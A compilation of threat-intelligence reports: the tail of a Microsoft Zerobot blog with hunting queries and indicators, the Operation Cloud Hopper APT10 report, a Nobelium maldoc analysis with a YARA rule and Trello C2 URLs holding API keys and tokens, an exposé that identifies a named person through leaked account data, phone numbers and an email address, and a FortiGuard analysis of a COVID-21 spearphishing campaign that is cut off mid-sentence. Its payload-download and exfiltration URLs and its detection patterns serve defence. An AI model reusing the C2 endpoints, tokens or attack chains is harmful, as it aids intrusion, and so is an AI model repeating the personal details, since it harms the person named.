App Control. - Perform timely cleanup of all unused and stale executables sitting on yours or your organizations’ devices. ## Detections Microsoft Defender for IoT uses detection rules and signatures to identify malicious behavior. Microsoft Defender for IoT has alerts for the following vulnerabilities and exploits which may be tied to Zerobot activity: - CVE-2014-8361 - CVE-2016-20017 - CVE-2017-17105 - CVE-2017-17215 - CVE-2018-10561 - CVE-2018-20057 - CVE-2019-10655 - CVE-2020-7209 - CVE-2020-10987 - CVE-2020-25506 - CVE-2021-35395 - CVE-2021-36260 - CVE-2021-42013 - CVE-2021-46422 - CVE-2022-22965 - CVE-2022-25075 - CVE-2022-26186 - CVE-2022-26210 - CVE-2022-30023 - CVE-2022-30525 - CVE-2022-31137 - CVE-2022-33891 - CVE-2022-34538 - CVE-2022-37061 - ZERO-36290 - ZSL-2022-5717 Microsoft Defender Antivirus detects the malicious files under the following platforms and threat names: - Zerobot (Win32/64 and Linux) - SparkRat (Win32/64 and Linux) Microsoft Defender for Endpoint alerts with the following titles can indicate threat activity on your network: - DEV-1061 threat activity group detected - An active ‘PrivateLoader’ malware process was detected while executing - ‘Morila’ malware was prevented - ‘Multiverze’ malware was detected Microsoft Defender for Endpoint also has detections for the following vulnerabilities exploited by Zerobot: - CVE-2022-22965 (Spring4Shell) Microsoft Defender for Endpoint’s Device Discovery capabilities discover and classify devices. With these capabilities, Microsoft 365 Defender customers using Microsoft Defender for IoT have visibility into security recommendations for devices with the following vulnerabilities: - CVE-2014-8361 - CVE-2019-10655 - CVE-2020-25506 - CVE-2021-36260 - CVE-2021-42013 - CVE-2022-30525 - CVE-2022-31137 - CVE-2022-37061 Devices with these vulnerabilities are also visible in the Microsoft Defender Vulnerability Management inventory. Microsoft Defender for Cloud alerts with the following titles can indicate threat activity on your network: - VM_ReverseShell - VM_SuspectDownloadArtifacts - SQL.VM_ShellExternalSourceAnomaly - AppServices_CurlToDisk ## Advanced Hunting Queries ### Microsoft 365 Defender Microsoft 365 Defender customers can run the following query to find related activity in their networks. **Zerobot files** This query finds the file hashes associated with Zerobot activity. ```kusto let IoCList = externaldata(TimeGenerated:datetime, IoC:string, IoC_Type:string, ExpirationDateTime:date, Action:string, ConfidenceScore:real, ThreatType:string, Active:string, Type:string, TrafficLightProtocolLevel:string, ActivityGroupNames:string) [@"https://raw.githubusercontent.com/microsoft/mstic/master/RapidReleaseTI/Indicators.csv" with(format="csv", ignoreFirstRecord=True); let shahashes = IoCList | where IoC_Type =~ "sha256" and Description =~ "Dev-1061 Zerobot affecting IoT devices" | distinct IoC; DeviceFileEvents | where SHA256 in (shahashes) ``` **Zerobot HTTP requests** This query finds suspicious HTTP requests originated by the IOCs associated with Zerobot activity. ```kusto DeviceNetworkEvents | where RemoteIP in("176.65.137.5","176.65.137.6") | where ActionType == "NetworkSignatureInspected" | where Timestamp > ago(30d) | extend json = parse_json(AdditionalFields) | extend SignatureName = tostring(json.SignatureName), SignatureMatchedContent = tostring(json.SignatureMatchedContent), SignatureSampleContent = tostring(json.SamplePacketContent) | where SignatureName == "HTTP_Client" | project Timestamp, DeviceId, DeviceName, RemoteIP, RemotePort, LocalIP, LocalPort, SignatureName, SignatureMatchedContent, SignatureSampleContent ``` **Zerobot port knocking** This query finds incoming connections from IOCs associated with Zerobot activity. ```kusto DeviceNetworkEvents | where RemoteIP in("176.65.137.5","176.65.137.6") | where ActionType == "InboundConnectionAccepted" | where Timestamp > ago(30d) | project Timestamp, DeviceId, DeviceName, RemoteIP, RemotePort, LocalIP, LocalPort, InitiatingProcessFileName ``` ### Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. ## Indicators of Compromise (IOCs) **Domains and IP addresses:** - zero.sudolite.ml - 176.65.137.5 - 176.65.137.5:1401 - 176.65.137.6 - ws://176.65.137.5/handle - http://176.65.137.5:8000/ws **New Zerobot hashes (SHA-256):** - aed95a8f5822e9b1cd1239abbad29d3c202567afafcf00f85a65df4a365bedbb - bf582b5d470106521a8e7167a5732f7e3a4330d604de969eb8461cbbbbdd9b9a - 0a5eebf19ccfe92a2216c492d6929f9cac72ef37089390572d4e21d0932972c8 - 1e7ca210ff7bedeefadb15a9ec5ea68ad9022d0c6f41c4e548ec2e5927026ba4 - 05b7517cb05fe1124dd0fad4e85ddf0fe65766a4c6c9986806ae98a427544e9d - 5625d41f239e2827eb05bfafde267109549894f0523452f7a306b53b90e847f2 - c304a9156a032fd451bff49d75b0e9334895604549ab6efaab046c5c6461c8b3 - 66c76cfc64b7a5a06b6a26976c88e24e0518be3554b5ae9e3475c763b8121792 - 539640a482aaee2fe743502dc59043f11aa8728ce0586c800193e30806b2d0e5 - 0f0ba8cc3e46fff0eef68ab5f8d3010241e2eea7ee795e161f05d32a0bf13553 - 343c9ca3787bf763a70ed892dfa139ba69141b61c561c128084b22c16829c5af - 874b0691378091a30d1b06f2e9756fc7326d289b03406023640c978ff7c87712 - 29eface0054da4cd91c72a0b2d3cda61a02831b4c273e946d7e106254a6225a7 - 4a4cb8516629c781d5557177d48172f4a7443ca1f826ea2e1aa6132e738e6db2 - bdfd89bdf6bc2de5655c3fe5f6f4435ec4ad37262e3cc72d8cb5204e1273ccd6 - 62f23fea8052085d153ac7b26dcf0a15fad0c27621f543cf910e37f8bf822e0e - 788e15fd87c45d38629e3e715b0cb93e55944f7c4d59da2e480ffadb6b981571 - 26e68684f5b76d9016d4f02b8255ff52d1b344416ffc19a2f5c793ff1c2fdc65 - e4840c5ac2c2c2170d00feadb5489c91c2943b2aa13bbec00dbcffc4ba8dcc2d - 45059f26e32da95f4bb5dababae969e7fceb462cdeadf7d141c39514636b905a - 77dd28a11e3e4260b9a9b60d58cb6aaaf2147da28015508afbaeda84c1acfe70 - cf232e7d39094c9ba04b9713f48b443e9d136179add674d62f16371bf40cf8c8 - 13657b64a2ac62f9d68aeb75737cca8f2ab9f21e4c38ce04542b177cb3a85521 - eb33c98add35f6717a3afb0ab2f9c0ee30c6f4e0576046be9bf4fbf9c5369f71 - e3dd20829a34caab7f1285b730e2bb0c84c90ac1027bd8e9090da2561a61ab17 - 3685d000f6a884ca06f66a3e47340e18ff36c16b1badb80143f99f10b8a33768 - cdc28e7682f9951cbe2e55dad8bc2015c1591f89310d8548c0b7a1c65dbefae3 - 869f4fb3f185b2d1231d9378273271ddfeebb53085daede89989f9cc8d364f5f - 6c59af3ed1a616c238ee727f6ed59e962db70bc5a418b20b24909867eb00a9d6 - ef28ee3301e97eefd2568a3cb4b0f737c5f31983710c75b70d960757f2def74e - 95e4cc13f8388c195a1220cd44d26fcb2e10b7b8bfc3d69efbc51beb46176ff1 - 62f9eae8a87f64424df90c87dd34401fe7724c87a394d1ba842576835ab48afc - 54d1daf58ecd4d8314b791a79eda2258a69d7c69a5642b7f5e15f2210958bdce - 8176991f355db10b32b7562d1d4f7758a23c7e49ed83984b86930b94ccc46ab3 - 8aa89a428391683163f0074a8477d554d6c54cab1725909c52c41db2942ac60f - fd65bd8ce671a352177742616b5facc77194cccec7555a2f90ff61bad4a7a0f6 - 1e66ee40129deccdb6838c2f662ce33147ad36b1e942ea748504be14bb1ee0ef - 57f83ca864a2010d8d5376c68dc103405330971ade26ac920d6c6a12ea728d3d - 7bfd0054aeb8332de290c01f38b4b3c6f0826cf63eef99ddcd1a593f789929d6 **SparkRat hashes (SHA-256):** - 0ce7bc2b72286f236c570b1eb1c1eacf01c383c23ad76fd8ca51b8bc123be340 - cacb77006b0188d042ce95e0b4d46f88828694f3bf4396e61ae7c24c2381c9bf - 65232e30bb8459961a6ab2e9af499795941c3d06fdd451bdb83206a00b1b2b88 **Authors:** Rotem Sde-Or, Ilana Sivan, Gil Regev, Microsoft Defender for IoT Research Team Meitar Pinto, Nimrod Roimy, Nir Avnery, Microsoft Defender Research Team Ramin Nafisi, Ross Bevington, Microsoft Threat Intelligence Center (MSTIC)
# Operation Cloud Hopper Exposing a systematic hacking operation with an unprecedented web of global victims April 2017 ## Foreword This report is an initial public release of research PwC UK and BAE Systems have conducted into new, sustained global campaigns by an established threat actor against managed IT service providers and their clients as well as several directly targeted organizations in Japan. Given the scale of those campaigns, the activity identified here is likely to reflect just a small portion of the threat actor’s operations. This report is primarily fact-based. Where we have made an assessment this has been made clear by phraseology such as “we assess,” and the use of estimative language as outlined in Appendix A. By publicly releasing this research, PwC UK and BAE Systems hope to facilitate broad awareness of the attack techniques used so that prevention and detection capabilities can be configured accordingly. It is also hoped that rapid progress can be made within the broader security community to further develop the understanding of the campaign techniques we outline, leading to additional public reports from peers across the security community. As a part of our research and reporting effort, PwC UK and BAE Systems have collaborated with the UK’s National Cyber Security Centre (NCSC) under its Certified Incident Response (CIR) scheme to engage and notify managed IT service providers, known affected organizations, and other national bodies. Supplementary to this report, an Annex containing our technical analysis will be released. ## Executive Summary Since late 2016, PwC UK and BAE Systems have been assisting victims of a new cyber espionage campaign conducted by a China-based threat actor. We assess this threat actor to almost certainly be the same as the threat actor widely known within the security community as APT10. The campaign, which we refer to as Operation Cloud Hopper, has targeted managed IT service providers (MSPs), allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally. A number of Japanese organizations have also been directly targeted in a separate, simultaneous campaign by the same actor. We have identified a number of key findings that are detailed below. - APT10 has recently unleashed a sustained campaign against MSPs. The compromise of MSP networks has provided broad and unprecedented access to MSP customer networks. - Multiple MSPs were almost certainly being targeted from 2016 onwards, and it is likely that APT10 had already begun to do so from as early as 2014. - MSP infrastructure has been used as part of a complex web of exfiltration routes spanning multiple victim networks. - The command and control infrastructure used for Operation Cloud Hopper is predominantly dynamic-DNS domains, which are highly interconnected and link to the threat actor’s previous operations. The number of dynamic-DNS domains in use by the threat actor has significantly increased since 2016, representative of an increase in operational tempo. - Some top-level domains used in the direct targeting of Japanese entities share common IP address space with the network of dynamic-DNS domains that we associate with Operation Cloud Hopper. - APT10 focuses on espionage activity, targeting intellectual property and other sensitive data. - APT10 is known to have exfiltrated a high volume of data from multiple victims, exploiting compromised MSP networks, and those of their customers, to stealthily move this data around the world. - The targeted nature of the exfiltration we have observed, along with the volume of the data, is reminiscent of the previous era of APT campaigns pre-2013. PwC UK and BAE Systems assess APT10 as highly likely to be a China-based threat actor. - It is a widely held view within the cybersecurity community that APT10 is a China-based threat actor. - Our analysis of the compile times of malware binaries, the registration times of domains attributed to APT10, and the majority of its intrusion activity indicates a pattern of work in line with China Standard Time (UTC+8). - The threat actor’s targeting of diplomatic and political organizations in response to geopolitical tensions, as well as the targeting of specific commercial enterprises, is closely aligned with strategic Chinese interests. ## APT10 as a China-based Threat Actor PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide-ranging information collection. It has been in operation since at least 2009 and has evolved its targeting from an early focus on the US defense industrial base (DIB) and the technology and telecommunications sector, to a widespread compromise of multiple industries and sectors across the globe, most recently with a focus on MSPs. APT10, a name originally coined by FireEye, is also referred to as Red Apollo by PwC UK, CVNX by BAE Systems, Stone Panda by CrowdStrike, and menuPass Team more broadly in the public domain. The threat actor has previously been the subject of a range of open-source reporting, including most notably a report by FireEye comprehensively detailing the threat actor’s use of the Poison Ivy malware family and blog posts by Trend Micro similarly detailing the use of EvilGrab malware. Alongside the research and ongoing tracking of APT10 by both PwC UK and BAE’s Threat Intelligence teams, PwC UK’s Incident Response team has been engaged in supporting investigations linked to APT10 compromises. This research has contributed to the assessments and conclusions we have drawn regarding the recent campaign activity by APT10, which represents a shift from previous activities linked to the threat actor. ## Time-based Analysis of APT10’s Operations As part of our analysis, we have made a number of observations about APT10 and its profile, which supports our assessment that APT10 is a China-based threat actor. For example, we have identified patterns within the domain registrations and file compilation times associated with APT10 activity. This is almost certainly indicative of a threat actor based in the UTC+8 time zone, which aligns to Chinese Standard Time (CST). Further analysis of the compile times of Plug X, RedLeaves, and Quasar malware samples used by APT10 reveals a similar pattern in working hours. ## Identifying a Change in APT10’s Targeting APT10 has, in the past, primarily been known for its targeting of government and US defense industrial base organizations, with the earliest known date of its activity being in December 2009. Our research and observations suggest that this targeting continues to date. During the 2013 – 2014 period there was a general downturn in the threat actor’s activities, as was also seen with other related groups. It was widely assessed that this was due to the public release of information surrounding APT1, which exposed its toolset and infrastructure. From our analysis and investigations, we have identified APT10 as actively operating at least two specific campaigns, one targeting MSPs and their clients, and one directly targeting Japanese entities. ## MSP Focused Campaign APT10 has almost certainly been undertaking a global operation of unprecedented size and scale targeting a number of MSPs. APT10 has vastly increased the scale and scope of its targeting to include multiple sectors, which has likely been facilitated by its compromise of MSPs. Such providers are responsible for the remote management of customer IT and end-user systems, thus they generally have unfettered and direct access to their clients’ networks. They may also store significant quantities of customer data on their own internal infrastructure. MSPs therefore represent a high-payoff target for espionage-focused threat actors such as APT10. Given the level of client network access MSPs have, once APT10 has gained access to an MSP, it is likely to be relatively straightforward to exploit this and move laterally onto the networks of potentially thousands of other victims. This, in turn, would provide access to a larger amount of intellectual property and sensitive data. APT10 has been observed to exfiltrate stolen intellectual property via the MSPs, hence evading local network defenses. ## Japanese Focused Campaign In a separate series of operations, APT10 has been systematically targeting Japanese organizations using bespoke malware referred to in the public domain as ‘ChChes’. While linked to APT10, via shared infrastructure, this campaign exhibits some operational differences suggesting a potential sub-division within the threat actor. These operations have seen APT10 masquerading as legitimate Japanese public sector entities to gain access to the victim organizations. Targeting of these entities by APT10 is consistent with previous targeting by China-based threat actors of a wide range of industries and sectors in Japan. This includes the targeting of commercial companies and government agencies, both of which has resulted in the exfiltration of large amounts of data. ## Motivations Behind APT10’s Targeting China-based threat actors have a long history of cyber espionage in the traditional political, military, and defensive arena, as well as industrial espionage for economic gain. Some of the most notable of these events from the past decade are shown below. ### Timeline of China-based Hacking Activity - **2006-2013**: APT1 conducted a widespread cyber espionage campaign against hundreds of organizations spanning a number of sectors. Most victims primarily conducted their business in English and had a nexus with China’s strategic priorities. - **2009**: The Night Dragon campaign involved covert cyber attacks on global oil, energy, and petrochemical companies and individuals in Kazakhstan, Taiwan, Greece, and the US. The attackers used a number of vectors including social engineering and OS vulnerabilities to access proprietary operations and financial information. - **2010**: Technology, financial, and defense sectors were targeted by Operation Aurora, a campaign attributed to APT17/Aurora Panda. The list of targets included Google, who suffered the loss of intellectual property and attempted access to the Gmail accounts of human rights activists. - **2014-2015**: The personal data of over 20 million people was compromised from the US Office of Personnel Management and attributed to China-based actors. This included Social Security numbers as well as security clearance and job applications for government positions. ## Conclusion APT10 is a constantly evolving, highly persistent China-based threat actor that has an ambitious and unprecedented collection program against a broad spectrum of sectors, enabled by its strategic targeting. Since exposure of its operations in 2013, APT10 has made a number of significant changes intended to thwart detection of its campaigns. PwC UK and BAE Systems, working closely with industry and government, have uncovered a new, unparalleled campaign which we refer to as Operation Cloud Hopper. This operation has targeted managed IT service providers, the compromise of which provides APT10 with potential access to thousands of further victims. An additional campaign has also been observed targeting Japanese entities. APT10’s malware toolbox shows a clear evolution from malware commonly associated with China-based threat actors towards bespoke in-house malware that has been used in more recent campaigns; this is indicative of APT10’s increasing sophistication, which is highly likely to continue. The threat actor’s known working hours align to Chinese Standard Time (CST) and its targeting corresponds to that of other known China-based threat actors, which supports our assessment that these campaigns are conducted by APT10. This campaign serves to highlight the importance of organizations having a comprehensive view of their threat profile, including that of their supply chain’s. More broadly, it should also encourage organizations to fully assess the risk posed by their third-party relationships, and prompt them to take appropriate steps to assure and manage these. A detailed technical annex supplements this main report, which provides further information about the tools and techniques used by APT10 and contains Indicators of Compromise relating to all of this threat actor’s known campaigns. These have already been provided to the National Cyber Security Centre for dissemination through their usual channels.
# Nobelium - Israeli Embassy Maldoc A few days ago, we discovered an interesting sample that we believe is part of the Nobelium campaign, also known as Dark Halo. The document was uploaded to the VirusTotal service from Spain. It contains an attractive visual lure representing a document from the Israeli embassy. We will look at the threat vector and provide some indicators of attack that can help defenders identify or respond. **File Type:** Office Open XML Document **SHA 256:** 7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b **Creation Time:** 2022-01-10 12:37:00 UTC The visual lure is designed so that the target would interpret that the font is not displayed and activate the embedded content. Multiple scans of the file in the VirusTotal service did not detect the ill intent. The original name of this file is Ambassador_Absense.docx. When opening the document and activating content, the HTA script is launched, invoking a piece of JS. The script has the functionality to decrypt the executable library and run it. The image above shows how the program decrypts the payload with a normal XOR operation with a hardcoded key. The executable library is created in the following directory: `C:\Users\user\AppData\Local\Temp\..\IconCacheService.dll` **File Type:** DLL X64 **SHA 256:** 95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f **Creation Time:** 2022-01-17 09:33:38 UTC Once launched, the malicious code collects data about the system on which it is launched and sends the details to a remote server. After sending all the data, the server waits for a response and for receiving further payload to execute. The program uses trello.com to exchange data. This is done to complicate the attribution and belonging of the work to any threat actor. ## IOCs **Carrier Doc:** 7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b **Stage 2 DLL:** 2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5 95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f 8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca 5f01eb447cb63c40c2d923b15c5ecb5ba47ea72e600797d5d96e228f4cf13f13 **C2:** hxxps://api.trello[.]com/1/members/me/boards?key=664f145b65b9ea751df4dd21a96601f0&token=39daa5890c85fba874a352473b2fa9a97c7839223422411c22f22970f3b71ecc hxxps://api.trello[.]com/1/members/me/boards?key=326f330aab6aa067b808d5bd93bd077d&token=abe916f8fe7fa2ddfd3e1bd6edd52fbd80219ed0c289ae21234d496cf449488d ## Detection **Rule:** APT_Nobelium_Beatdrop_Feb_2022_1 ```plaintext { meta: description = "Detect the Beatdrop malware used by Nobelium group" author = "Arkbird_SOLG" date = "2022-04-10" hash1 = "2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5" hash2 = "95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f" hash3 = "8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca" tlp = "White" adversary = "Nobelium" strings: $s1 = { 48 81 ec 58 04 00 00 31 db 48 8b 3d 3a ea 03 00 89 d8 49 89 ce 49 89 d5 48 8b 0d 1b da 02 00 4c 89 c6 4c 89 cd f3 aa 45 31 c9 c7 44 24 20 00 00 00 00 45 31 c0 ba 01 00 00 00 48 c7 05 0d ea 03 00 00 00 00 00 48 8d 0d 2e ea 02 00 ff 15 [2] 04 00 49 89 c4 48 85 c0 0f 84 6d 01 00 00 4c 89 ea 45 31 c9 41 b8 bb 01 00 00 48 89 c1 48 c7 44 24 38 01 00 00 00 c7 44 24 30 00 00 00 00 c7 44 24 28 03 00 00 00 48 c7 44 24 20 00 00 00 00 ff 15 [2] 04 00 49 89 c5 48 85 c0 0f 84 21 01 00 00 4c 89 f2 45 31 c9 49 89 f0 48 89 c1 48 c7 44 24 38 01 00 00 00 c7 44 24 30 00 00 c0 44 48 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 } $s2 = { 48 8d 84 24 ?? 01 00 00 48 89 da b9 3d 00 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 [2] 00 00 48 89 84 24 ?? 01 00 00 31 c0 f3 ab 4c 89 ?? 48 8d 84 24 ?? 01 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 [2] 00 00 00 48 c7 84 24 [2] 00 00 00 00 00 00 48 c7 84 24 [2] 00 00 00 00 00 00 c7 84 24 ?? 00 00 00 04 01 00 00 48 89 44 24 ?? ff 15 [2] 04 00 85 c0 0f 84 ?? 14 00 00 48 8b 4c 24 } $s3 = { ff 15 [2] 04 00 85 c0 0f 84 82 00 00 00 48 8b 2d [2] 04 00 31 db 4c 8d 7c 24 4c 48 8d 7c 24 60 b9 fc 00 00 00 89 d8 4d 89 f9 f3 ab 48 8d 74 24 50 4c 89 f1 48 c7 44 24 50 00 00 00 00 48 c7 44 24 58 00 00 00 00 41 b8 ff 03 00 00 48 89 f2 ff d5 85 c0 74 3a 8b 4c 24 4c 85 c9 74 32 48 8b 05 cd e8 03 00 48 03 05 be e8 03 00 48 89 c7 f3 a4 48 8b 15 b2 e8 03 00 8b 44 24 4c 48 03 05 af e8 03 00 48 89 05 a8 e8 } $s4 = { 48 8d 84 24 ?? 02 00 00 4c 89 ?? 48 89 c1 48 89 84 24 ?? 00 00 00 e8 [2] ff ff 48 8b 4c 24 ?? 4c 89 ?? e8 ?? a1 02 00 48 8b 4c 24 ?? 48 8d 15 [2] 02 00 e8 ?? a1 02 00 8b 8c 24 ?? 00 00 00 4c 89 ?? 31 c0 f3 aa b9 02 02 00 00 48 8d 94 24 ?? 06 00 00 c7 84 24 ?? 00 00 00 04 01 00 00 ff 15 [2] 04 00 ba 04 01 00 00 4c 89 ?? ff 15 [2] 04 00 48 8b 8c 24 ?? 02 00 00 ff 15 [2] 04 00 48 8b 3d [2] 04 00 48 89 c6 31 db ?? 8d ?? 24 [2] 00 00 4c 8d a4 24 [2] 00 00 48 8b 46 18 48 8b 04 18 48 85 } condition: uint16(0) == 0x5A4D and all of ($s*) } ``` **Tags:** APT, threat-intel, in-the-wild
# Who is Mr Ding? We started by stating that Chinese APTs have a blueprint that is applied in multiple regions across China: contract hackers and specialists, front companies, and an intelligence officer. Applying this blueprint in Hainan, we surfaced inter-linked companies recruiting for people with hacking and specialist IT skills. We have identified that Professor Gu Jian is connected to the front company Hainan Xiandun and supported some of their activities from his position at Hainan University. But his was more of a supporting role. Who was in charge? **Wang Tian, Manager Jiang, and Mr Chen** Job adverts for Hainan Tengyuan, Hainan Yili, and Hainan Xiandun list Wang Tian (王天) and Manager Jiang (蒋经理) as contacts of the companies. We have been unable to identify much more about these individuals. **Mr Chen** An advert on Sichuan University’s website for a Penetration Test Engineer position at Hainan Xiandun lists ‘Mr Chen’ (陈先生) using 2918588955[at]qq.com and telephone number 13198985613 as the contact person. Mr Chen is seen on a number of job adverts for these Hainan front companies. While it’s unclear who Mr Chen is, the website registrant for one of the front companies which we identified, Hainan Yanwu, is listed as a Mr Chen Yanwu (陈彦武). Are any of these contacts real people? The number of contacts listed and the re-use of telephone numbers raised our suspicions. We started to think that perhaps some, or all, of these contact names were fictitious. We reached out to our trusted network of contributors and posed the question: who was the real owner of these telephone numbers and email addresses? **So, who is Mr Ding?** While researching the phone numbers from these companies, one of our contributors turned up this information linking phone number 15638338966 (you’ll remember that from an earlier job advert for Hainan Xiandun, in the name Mr Chen) with a new e-mail address: [email protected]. Why is that e-mail address important? Because this information, from a frequent flyer account, shows that [email protected] and the phone number belong not to a Mr Wang, or a Mr Jiang, or a Mr Chen, but to a Mr Ding Xiaoyang (丁晓阳), who is very much a real person. Ding Xiaoyang’s name (丁晓阳) appears in this e-mail from Hainan airlines to [email protected]. We are extremely grateful to our contributor for their diligent work in finding this information. Our thanks also go out to Mr Ding for not changing his password after it had been leaked online. In summary: in some cases the contacts for these front companies in Hainan may be aliases. Other than Hainan University academic Gu Jian, the only individual that we have been able to link to the adverts is the true owner of one of the telephone numbers: Hainan resident Ding Xiaoyang. Is Ding the person in charge of these front companies? Does Ding have connections to the Chinese State? We know the answer, he knows the answer, do you?
# Spearphishing Attack Uses COVID-21 Lure to Target Ukrainian Government **Date:** May 3, 2021 **Affected platforms:** Microsoft Windows **Impacted parties:** Windows Users **Impact:** Collection of sensitive information from infected victims **Severity level:** High ## Introduction FortiGuard Labs has discovered yet another COVID-themed lure designed to compel unsuspecting victims to click on what appears to be an innocuous link. However, unbeknownst to the target, the link leads to a zip file that contains malicious attachments. This blog will highlight the steps taken by an unnamed threat actor targeting the security interests of a former Eastern bloc nation. ## Key Takeaways - Spearphishing emails were sent to various security arms of the Ukrainian government utilizing social engineering lures containing subjects such as: “New COVID-21 Variant” and “An Urgent Computer Update”. - **Attacker’s goals:** - Steal sensitive documents and files - Install Saint Bot Downloader on targets - Note: The Saint Bot Downloader has been observed downloading infostealers and other downloaders. ## Overview This latest iteration of the COVID-themed lures is not about COVID-19, but a fictitious COVID-21 using a fake World Health Organization (WHO) link. The threat actor likely hopes that the novelty of a COVID-21 announcement might entice the recipient into following the link, either through misjudgment or sheer curiosity. The following research looks at possible motivations for this particular attack, as well as provides technical analysis of the malware involved and related infrastructure. We have observed specific instances of spearphishing emails being sent to various arms of the Ukrainian government, and identified that the infrastructure used for these attacks originates in Russia. The first instance we detected targeted two separate entities of the Ukrainian government, both dealing with security interests of the Ukrainian state. The email purports to originate from a “Political Officer” at the United States Embassy. A search engine check revealed that Political Officer is indeed an actual title within the US State Department. A review of the email headers highlights that the sender is either a legitimate Gmail account created for spam purposes or one that has been compromised, as the email was relayed through Gmail servers. Sending spam email through clean reputable servers as a relay is an ideal tactic for attackers as they often bypass spam filtering software. This email targets one of the security arms of the Ukrainian Government. However, a search engine result yielded no results for the email address, leading us to believe that this is either a targeted or a dictionary/harvest-based attack. Another tactic observed was that the threat actors used masqueraded emails within the message body containing a back-and-forth conversation between (likely fictitious) personnel at the WHO and the United States Department of State. This email is targeted as it includes government-specific communication. ## Technical Details Instead of using attachments, this lure opted to use a link to deliver its payload, further ensuring that the spearphishing email makes it to the intended victim by bypassing security tools that detect and neutralize malicious attachments. The fake WHO link goes to `hxxps://cut[.]ly/LcHx2Ga`, which redirects to `hxxp://2330[.]site/NewCovid-21[.]zip`. The contents of the zip archive are shown below. The PDF is legitimate and not malicious. The other files, however, are each malicious in their own way. The two shortcut files appear to launch `cmd.exe`. After examining these files further, we found that the true attack vector uses `cmd.exe` to launch PowerShell to download and execute yet another malicious file. The final file contained in the zip archive is a malicious document that exploits CVE-2017-11882 (Microsoft Office Equation Editor Vulnerability) and acts similarly to the shortcut files. By exploiting this vulnerability, the document is able to download and execute yet another malicious file. ### Malicious Shortcuts (LNK) Files The shortcut files at first appear to be benign. Peering into the `.lnk` file itself with a hex editor shows there is a PowerShell command hidden within. This command downloads a file from `hxxp://2330[.]site/soft/08042021[.]exe` and saves it as `%TEMP%\WindowsUpdate.exe`. It then executes the downloaded file. A cursory review of the `2330.site` reveals that the domain has been associated with the following IP addresses in the past: - 95.143.218.55 - 31.31.205.163 - 195.128.123.215 - 185.195.27.112 - 176.113.115.133 All of these IP addresses resolve back to the Russian Federation. The `WindowsUpdate.exe` file is packed. Underneath the surface lies an AutoIT file that cannot be decompiled by a standard decompiler. The AutoIT compiled script can be found in memory and dumped into a separate file. This AutoIT script is designed to exfiltrate user files, targeting file types located in the user’s home directory and uploading them to a server. The targeted file types are: `.doc`, `.pdf`, `.ppt`, `.dot`, `.xl`, `.csv`, `.rtf`, `.mdb`, `.acdb`, `.pot`, `.pps`, `.ppa`, `.rar`, `.zip`, `.tar`, `.7z`. Given the branches of the government targeted by this phishing attack, the file types being captured could potentially vary from benign to sensitive to even classified information. Files stolen by this script are uploaded to `hxxp://name4050[.]com:8080/upld/`. ### Malicious Word Document The last file in the `NewCovid-21.zip` archive is a malicious document that exploits CVE-2017-11882. The exploit forces the user to visit `hxxp://bit[.]ly/3rQULnp`. The user is then redirected to a predetermined URL, `hxxp://name1d[.]site/index.txt`. This is not a text file, but a PE file that then gets executed. The downloaded PE file is also packed. After some investigation, we determined that its contents are similar to the files downloaded by the LNK files. The only significant difference in this sample is that it uploads gathered files to a different C2 server: `hxxp://31.42.185[.]63:8080/upld/`. The list of file types is still the same. ### Part 2 - A Saint Amongst Blocs Sometime later, a different `index.txt` file was served, possibly for a different campaign. This new file is a PE file that is a variant of the Saint malware recently discovered by security researchers. This version turned out to be Saint_v3, which operates similarly to the one analyzed here. However, the C2 server this variant goes to is `hxxp://smm2021[.]net/wp-adm/gate.php` and it uses compromised WordPress sites to communicate. Saint_v3 has specific functionality in case it ends up running on a Windows 10 machine. It checks the registry for the ProductName to see if it is Windows 10. If so, it then checks for another registry setting, called `ConsentPromptBehaviorAdmin`, to see if it has a value of 5. Microsoft defines this value as: ‘[T]he default. It is used to prompt the administrator in Admin Approval Mode to select either "Permit" or "Deny" for an operation that requires elevation of privilege for any non-Windows binaries. If the Consent Admin selects Permit, the operation will continue with the highest available privilege.’ One unique thing observed is that this malware will not run on an infected computer running certain locales. Given that the phishing email indicates it is targeting a victim based in the former Eastern Bloc, and may be using one of the listed locales, one wonders if the attackers have narrowed down their target to the point they know the victim does not use any of these locales. ## Urgent Update Variation Another sample observed appears to be related to this same campaign, targeting a security arm of the Ukrainian government. Its email purports to be coming from the main security arm of the Ukrainian government, and the link attempts to convince the target that orders are coming from higher in the chain of command. The email address that this spearphishing email is being sent from can actually be found on the main page of the website of this security arm of the Ukrainian government. Clicking on the forged update link leads to a bit.ly URL shortener link that goes to `redirect[.]co.ua`, which then redirects to a predetermined download site that contains the following zip file: `hxxp://2215[.]site/soft2/Update-AV[.]zip`. This `Update-AV` file is also a malicious Saint_v3 file. The icon used by this malware is the country’s flag with a 